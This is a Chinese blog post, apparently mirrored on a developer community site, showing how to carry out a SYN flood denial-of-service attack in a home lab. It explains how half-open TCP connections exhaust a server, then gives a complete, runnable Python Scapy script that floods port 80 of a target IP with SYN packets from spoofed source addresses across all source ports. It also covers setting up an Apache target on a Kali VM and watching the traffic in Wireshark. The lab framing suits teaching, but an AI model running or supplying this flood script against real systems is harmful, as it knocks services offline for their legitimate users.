前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >【Scapy】Scapy-python脚本实现DDOS攻击 – 学金融的文史哲小生

【Scapy】Scapy-python脚本实现DDOS攻击 – 学金融的文史哲小生

作者头像
去海边整点薯条
发布2022-11-01 14:15:02
2.6K0
发布2022-11-01 14:15:02
举报
文章被收录于专栏:数模计量

编写python脚本实现SYN FLOOD(DDOS)

原理

SYN FLOOD是DDOS的一种,发生在OSI第四层,这种方式利用TCP协议的特性,就是三次握手。攻击者发送TCP SYN,SYN是TCP三次握手中的第一个数据包,当服务器返回ACK后,该攻击者就不对其进行再确认,那这个TCP连接就处于挂起状态,也就是所谓的半连接状态,服务器收不到再确认的话,还会重复发送ACK给攻击者。

攻击者就对服务器发送非常大量的这种TCP连接,由于每一个都没法完成三次握手,所以在服务器上,这些TCP连接会因为挂起状态而消耗CPU和内存,最后服务器可能死机,从而就无法为正常用户提供服务了。

实验方式

在本机运行脚本,攻击kali linux靶机的80端口,模拟攻击靶机网站,然后在kali linux里使用wireshark观察接收数据分析信息验证是否成功。

Python脚本

代码语言:javascript
复制
import random
import time
from scapy.all import *
#这里的tgt是被攻击的靶机的IP地址
tgt="192.168.137.128"
print(tgt)
dPort = 80
def synFlood(tgt,dPort):
    srcList = ['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199']
    for sPort in range(1024,65535):
        index = random.randrange(4)
        ipLayer = IP(src=srcList[index], dst=tgt)
        tcpLayer = TCP(sport=sPort, dport=dPort,flags="S")
        packet = ipLayer / tcpLayer
        send(packet)
synFlood(tgt,dPort)

kali linux靶机开启apache,并且绑定0.0.0.0:80端口

查看服务开启状态

代码语言:javascript
复制
service --stauts-all
image-20210202203157420.png
image-20210202203157420.png

这里apache没有开启,我们将其开启

代码语言:javascript
复制
service apache2 start

小插曲:主机访问不了kali linux虚拟机的解决方案

这中间遇到了个小插曲,我的主机访问不了虚拟机,这里需要进行网卡还原操作。

image-20210202225908914.png
image-20210202225908914.png
image-20210202225925780.png
image-20210202225925780.png

需要管理员权限,编辑ports.conf文件

代码语言:javascript
复制
sudo vim /etc/apache2/ports.conf

编辑文件将80端口改成0.0.0.0:80

image-20210202230205090.png
image-20210202230205090.png

在kali打开wireshark

image-20210202230706745.png
image-20210202230706745.png

windows里运行python脚本

kali里面是自带的scapy,这里windows电脑要提前装好scapy

代码语言:javascript
复制
pip3 install scapy-python3

如果中间提示

代码语言:javascript
复制
Traceback (most recent call last):
  File "D:\PycharmProjects\new\main.py", line 3, in
    from scapy.all import *
ModuleNotFoundError: No module named 'scapy'

如下图所示

image-20210202235625714.png
image-20210202235625714.png

我们需要将scapy的包拷到项目的目录里就好了

image-20210202235803145.png
image-20210202235803145.png

然后就可以运行了,可以看到已经在疯狂发包了。

image-20210202235851148.png
image-20210202235851148.png

kali这边已经可以看到很多发送请求,这里通过SNY FLOOD可以占用虚拟机很大的资源,但是这里因为是内网所以带宽方面表现不明显,如果是外网的话,通过SNY断开连接占用大量带宽资源,应该会有明显的卡顿。

image-20210203000131440.png
image-20210203000131440.png
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022-04-13 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 编写python脚本实现SYN FLOOD(DDOS)
    • 原理
      • 实验方式
        • Python脚本
          • kali linux靶机开启apache,并且绑定0.0.0.0:80端口
            • 小插曲:主机访问不了kali linux虚拟机的解决方案
              • 在kali打开wireshark
                • windows里运行python脚本
                领券
                问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档